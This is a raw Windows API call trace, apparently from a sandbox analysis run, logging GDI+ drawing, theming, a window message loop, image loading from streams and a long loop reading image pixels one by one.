(hdc=0x5a010735, type=0x7) returned 0x210506ba [0262.862] GetCurrentObject (hdc=0x5a010735, type=0x6) returned 0x18a002e [0262.862] SaveDC (hdc=0x5a010735) returned 1 [0262.862] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x9c040789 [0262.862] GetClipRgn (hdc=0x5a010735, hrgn=0x9c040789) returned 0 [0262.862] SelectClipRgn (hdc=0x5a010735, hrgn=0x9b0401eb) returned 2 [0262.862] DeleteObject (ho=0x9c040789) returned 1 [0262.862] DeleteObject (ho=0x9b0401eb) returned 1 [0262.862] OffsetViewportOrgEx (in: hdc=0x5a010735, x=0, y=0, lppt=0x2676ee0 | out: lppt=0x2676ee0) returned 1 [0262.862] IsAppThemed () returned 0x1 [0262.862] GetThemeAppProperties () returned 0x3 [0262.862] GetThemeAppProperties () returned 0x3 [0262.862] DrawThemeBackground () returned 0x0 [0262.862] RestoreDC (hdc=0x5a010735, nSavedDC=-1) returned 1 [0262.862] GdipReleaseDC (graphics=0x4ae5320, hdc=0x5a010735) returned 0x0 [0262.862] GdipCreateRegion (region=0x2be410) returned 0x0 [0262.862] GdipGetClip (graphics=0x4ae5320, region=0x4ae5bc0) returned 0x0 [0262.863] GdipCreateMatrix (matrix=0x2be410) returned 0x0 [0262.863] GdipGetWorldTransform (graphics=0x4ae5320, matrix=0x4ae5280) returned 0x0 [0262.863] GdipIsMatrixIdentity (matrix=0x4ae5280, result=0x2be428) returned 0x0 [0262.863] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd7a8 [0262.863] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd7a8) returned 0x0 [0262.863] LocalFree (hMem=0x5fd7a8) returned 0x0 [0262.863] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x5fd7a8 [0262.863] GdipGetMatrixElements (matrix=0x4ae5280, matrixOut=0x5fd7a8) returned 0x0 [0262.863] LocalFree (hMem=0x5fd7a8) returned 0x0 [0262.863] GdipDeleteMatrix (matrix=0x4ae5280) returned 0x0 [0262.863] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be450) returned 0x0 [0262.863] GdipIsInfiniteRegion (region=0x4ae5bc0, graphics=0x4ae5320, result=0x2be440) returned 0x0 [0262.863] GdipGetRegionHRgn (region=0x4ae5bc0, graphics=0x4ae5320, hRgn=0x2be440) returned 0x0 [0262.863] GdipDeleteRegion (region=0x4ae5bc0) returned 0x0 [0262.863] GdipGetDC (graphics=0x4ae5320, hdc=0x2be458) returned 0x0 [0262.863] GetCurrentObject (hdc=0x5a010735, type=0x1) returned 0x1b00017 [0262.863] GetCurrentObject (hdc=0x5a010735, type=0x2) returned 0x1900010 [0262.863] GetCurrentObject (hdc=0x5a010735, type=0x7) returned 0x210506ba [0262.863] GetCurrentObject (hdc=0x5a010735, type=0x6) returned 0x18a002e [0262.863] SaveDC (hdc=0x5a010735) returned 1 [0262.863] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x9c0401eb [0262.864] GetClipRgn (hdc=0x5a010735, hrgn=0x9c0401eb) returned 0 [0262.864] SelectClipRgn (hdc=0x5a010735, hrgn=0x9d040789) returned 2 [0262.864] DeleteObject (ho=0x9c0401eb) returned 1 [0262.864] DeleteObject (ho=0x9d040789) returned 1 [0262.864] OffsetViewportOrgEx (in: hdc=0x5a010735, x=0, y=0, lppt=0x26771b4 | out: lppt=0x26771b4) returned 1 [0262.864] IsAppThemed () returned 0x1 [0262.864] GetThemeAppProperties () returned 0x3 [0262.864] GetThemeAppProperties () returned 0x3 [0262.864] GetThemeBackgroundContentRect () returned 0x0 [0262.864] RestoreDC (hdc=0x5a010735, nSavedDC=-1) returned 1 [0262.864] GdipReleaseDC (graphics=0x4ae5320, hdc=0x5a010735) returned 0x0 [0262.864] IsAppThemed () returned 0x1 [0262.864] GetThemeAppProperties () returned 0x3 [0262.864] GetThemeAppProperties () returned 0x3 [0262.864] GdipGetTextRenderingHint (graphics=0x4ae5320, mode=0x2be588) returned 0x0 [0262.864] GdipGetDC (graphics=0x4ae5320, hdc=0x2be574) returned 0x0 [0262.864] GetCurrentObject (hdc=0x5a010735, type=0x1) returned 0x1b00017 [0262.864] GetCurrentObject (hdc=0x5a010735, type=0x2) returned 0x1900010 [0262.864] GetCurrentObject (hdc=0x5a010735, type=0x7) returned 0x210506ba [0262.864] GetCurrentObject (hdc=0x5a010735, type=0x6) returned 0x18a002e [0262.864] SaveDC (hdc=0x5a010735) returned 1 [0262.864] GetTextAlign (hdc=0x5a010735) returned 0x0 [0262.864] GetTextColor (hdc=0x5a010735) returned 0x0 [0262.865] GetCurrentObject (hdc=0x5a010735, type=0x6) returned 0x18a002e [0262.865] GetObjectW (in: h=0x18a002e, c=92, pv=0x2be27c | out: pv=0x2be27c) returned 92 [0262.865] SelectObject (hdc=0x5a010735, h=0x90a01e9) returned 0x18a002e [0262.865] GetBkMode (hdc=0x5a010735) returned 2 [0262.865] SetBkMode (hdc=0x5a010735, mode=1) returned 2 [0262.865] DrawTextExW (in: hdc=0x5a010735, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be350, format=0x2415, lpdtp=0x2677548 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be350) returned 13 [0262.865] DrawTextExW (in: hdc=0x5a010735, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x2be508, format=0x2015, lpdtp=0x2677548 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x2be508) returned 13 [0262.865] RestoreDC (hdc=0x5a010735, nSavedDC=-1) returned 1 [0262.865] GdipReleaseDC (graphics=0x4ae5320, hdc=0x5a010735) returned 0x0 [0262.865] GetFocus () returned 0x0 [0262.865] IsAppThemed () returned 0x1 [0262.865] GetThemeAppProperties () returned 0x3 [0262.866] GetThemeAppProperties () returned 0x3 [0262.866] GdipGetDC (graphics=0x4ae5320, hdc=0x2be754) returned 0x0 [0262.866] BitBlt (hdc=0x701068c, x=0, y=0, cx=163, cy=29, hdcSrc=0x5a010735, x1=0, y1=0, rop=0xcc0020) returned 1 [0262.946] GdipReleaseDC (graphics=0x4ae5320, hdc=0x5a010735) returned 0x0 [0262.946] SelectPalette (hdc=0x701068c, hPal=0x188000b, bForceBkgd=0) returned 0x300807ef [0262.946] SelectObject (hdc=0x5a010735, h=0x185000f) returned 0x210506ba [0262.946] DeleteDC (hdc=0x5a010735) returned 1 [0262.946] GdipDeleteGraphics (graphics=0x4ae5320) returned 0x0 [0262.946] EndPaint (hWnd=0x1019c, lpPaint=0x2be6f8) returned 1 [0262.946] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0262.946] IsWindowUnicode (hWnd=0x20152) returned 1 [0262.946] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0262.946] TranslateMessage (lpMsg=0x2bec18) returned 0 [0262.946] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0262.946] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0262.946] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0262.946] WaitMessage () returned 1 [0263.163] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0263.163] IsWindowUnicode (hWnd=0x1019e) returned 1 [0263.163] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0263.163] TranslateMessage (lpMsg=0x2bec18) returned 0 [0263.163] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0263.163] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0263.163] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 0 [0263.163] WaitMessage () Thread: id = 57 os_tid = 0x6d0 Thread: id = 58 os_tid = 0x6d4 [0207.987] CoGetContextToken (in: pToken=0x45dfbfc | out: pToken=0x45dfbfc) returned 0x800401f0 [0207.989] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0234.214] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0234.259] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0234.261] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 Thread: id = 59 os_tid = 0x6dc Thread: id = 62 os_tid = 0x594 Thread: id = 64 os_tid = 0x31c [0221.906] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0223.168] GdipLoadImageFromStream (stream=0x600030, image=0x540edb0) returned 0x0 [0223.520] GdipImageForceValidation (image=0x4ad7818) returned 0x0 [0223.530] GdipGetImageType (image=0x4ad7818, type=0x540edac) returned 0x0 [0223.530] GdipGetImageRawFormat (image=0x4ad7818, format=0x540ed30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0223.549] GdipLoadImageFromStream (stream=0x600010, image=0x540edb0) returned 0x0 [0223.554] GdipImageForceValidation (image=0x4ae4c90) returned 0x0 [0223.557] GdipGetImageType (image=0x4ae4c90, type=0x540edac) returned 0x0 [0223.557] GdipGetImageRawFormat (image=0x4ae4c90, format=0x540ed30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0223.711] GdipLoadImageFromStream (stream=0x60fff0, image=0x540edb0) returned 0x0 [0223.712] GdipImageForceValidation (image=0x4ae5600) returned 0x0 [0223.714] GdipGetImageType (image=0x4ae5600, type=0x540edac) returned 0x0 [0223.714] GdipGetImageRawFormat (image=0x4ae5600, format=0x540ed30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0224.010] CoCreateGuid (in: pguid=0x540f1c0 | out: pguid=0x540f1c0*(Data1=0x9ab0837d, Data2=0x7865, Data3=0x4ea6, Data4=([0]=0x9a, [1]=0x93, [2]=0x41, [3]=0xcd, [4]=0x8f, [5]=0x1b, [6]=0xdf, [7]=0xb3))) returned 0x0 [0224.934] CoCreateGuid (in: pguid=0x540f234 | out: pguid=0x540f234*(Data1=0x6e62379d, Data2=0xed5f, Data3=0x4bd5, Data4=([0]=0xa7, [1]=0xf5, [2]=0x45, [3]=0xf0, [4]=0xe7, [5]=0x5c, [6]=0x8a, [7]=0x8e))) returned 0x0 [0224.938] CoCreateGuid (in: pguid=0x540e3c8 | out: pguid=0x540e3c8*(Data1=0x60c62801, Data2=0xc767, Data3=0x4386, Data4=([0]=0xb5, [1]=0x75, [2]=0x32, [3]=0x77, [4]=0x4d, [5]=0xeb, [6]=0x6b, [7]=0x8e))) returned 0x0 [0226.133] GdipGetImageWidth (image=0x4ae5600, width=0x540e3e4) returned 0x0 [0226.133] GdipGetImageHeight (image=0x4ae5600, height=0x540e3e4) returned 0x0 [0226.133] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.133] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.133] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=0, color=0x540e3d0) returned 0x0 [0226.134] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.134] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.134] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=1, color=0x540e3d0) returned 0x0 [0226.134] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.134] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.134] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=2, color=0x540e3d0) returned 0x0 [0226.134] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.134] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.134] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=3, color=0x540e3d0) returned 0x0 [0226.134] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.134] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.134] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=4, color=0x540e3d0) returned 0x0 [0226.134] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.134] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.134] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=5, color=0x540e3d0) returned 0x0 [0226.134] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.134] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.134] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=6, color=0x540e3d0) returned 0x0 [0226.135] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.135] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.135] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=7, color=0x540e3d0) returned 0x0 [0226.135] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.135] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.135] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=8, color=0x540e3d0) returned 0x0 [0226.135] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.135] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.135] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=9, color=0x540e3d0) returned 0x0 [0226.135] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.135] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.135] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=10, color=0x540e3d0) returned 0x0 [0226.135] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.135] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.135] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=11, color=0x540e3d0) returned 0x0 [0226.135] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.135] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.135] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=12, color=0x540e3d0) returned 0x0 [0226.135] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.135] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.135] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=13, color=0x540e3d0) returned 0x0 [0226.135] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.135] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.136] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=14, color=0x540e3d0) returned 0x0 [0226.136] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.136] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.136] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=15, color=0x540e3d0) returned 0x0 [0226.136] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.136] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.136] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=16, color=0x540e3d0) returned 0x0 [0226.136] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.136] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.136] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=17, color=0x540e3d0) returned 0x0 [0226.136] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.136] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.136] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=18, color=0x540e3d0) returned 0x0 [0226.136] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.136] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.136] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=19, color=0x540e3d0) returned 0x0 [0226.136] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.136] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.136] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=20, color=0x540e3d0) returned 0x0 [0226.136] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.136] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.136] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=21, color=0x540e3d0) returned 0x0 [0226.136] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.137] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.137] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=22, color=0x540e3d0) returned 0x0 [0226.137] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.137] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.137] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=23, color=0x540e3d0) returned 0x0 [0226.137] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.137] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.137] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=24, color=0x540e3d0) returned 0x0 [0226.137] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.137] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.137] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=25, color=0x540e3d0) returned 0x0 [0226.137] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.137] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.137] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=26, color=0x540e3d0) returned 0x0 [0226.137] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.137] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.137] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=27, color=0x540e3d0) returned 0x0 [0226.137] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.137] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.137] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=28, color=0x540e3d0) returned 0x0 [0226.137] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.137] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.138] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=29, color=0x540e3d0) returned 0x0 [0226.138] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.138] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.138] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=30, color=0x540e3d0) returned 0x0 [0226.138] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.138] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.138] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=31, color=0x540e3d0) returned 0x0 [0226.138] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.138] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.138] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=32, color=0x540e3d0) returned 0x0 [0226.138] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.138] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.138] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=33, color=0x540e3d0) returned 0x0 [0226.138] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.138] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.138] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=34, color=0x540e3d0) returned 0x0 [0226.138] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.138] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.138] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=35, color=0x540e3d0) returned 0x0 [0226.138] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.138] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.138] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=36, color=0x540e3d0) returned 0x0 [0226.138] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.139] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.139] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=37, color=0x540e3d0) returned 0x0 [0226.139] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.139] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.139] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=38, color=0x540e3d0) returned 0x0 [0226.139] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.139] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.139] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=39, color=0x540e3d0) returned 0x0 [0226.139] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.139] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.139] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=40, color=0x540e3d0) returned 0x0 [0226.139] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.139] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.139] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=41, color=0x540e3d0) returned 0x0 [0226.139] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.139] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.139] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=42, color=0x540e3d0) returned 0x0 [0226.139] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.139] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.139] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=43, color=0x540e3d0) returned 0x0 [0226.139] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.139] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.140] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=44, color=0x540e3d0) returned 0x0 [0226.140] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.140] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.140] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=45, color=0x540e3d0) returned 0x0 [0226.140] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.140] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.140] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=46, color=0x540e3d0) returned 0x0 [0226.140] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.140] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.140] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=47, color=0x540e3d0) returned 0x0 [0226.140] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.140] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.140] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=48, color=0x540e3d0) returned 0x0 [0226.140] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.140] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.140] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=49, color=0x540e3d0) returned 0x0 [0226.140] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.140] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.140] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=50, color=0x540e3d0) returned 0x0 [0226.140] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.140] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.140] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=51, color=0x540e3d0) returned 0x0 [0226.140] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.141] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.141] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=52, color=0x540e3d0) returned 0x0 [0226.141] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.141] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.141] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=53, color=0x540e3d0) returned 0x0 [0226.141] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.141] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.141] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=54, color=0x540e3d0) returned 0x0 [0226.141] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.141] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.141] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=55, color=0x540e3d0) returned 0x0 [0226.141] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.141] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.141] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=56, color=0x540e3d0) returned 0x0 [0226.141] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.141] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.141] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=57, color=0x540e3d0) returned 0x0 [0226.141] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.141] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.141] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=58, color=0x540e3d0) returned 0x0 [0226.141] GdipGetImageWidth (image=0x4ae5600, width=0x540e3c0) returned 0x0 [0226.141] GdipGetImageHeight (image=0x4ae5600, height=0x540e3c0) returned 0x0 [0226.141] GdipBitmapGetPixel (bitmap=0x4ae5600, x=0, y=59, color=0x540e3d0) returned 0x0 [0226.142] 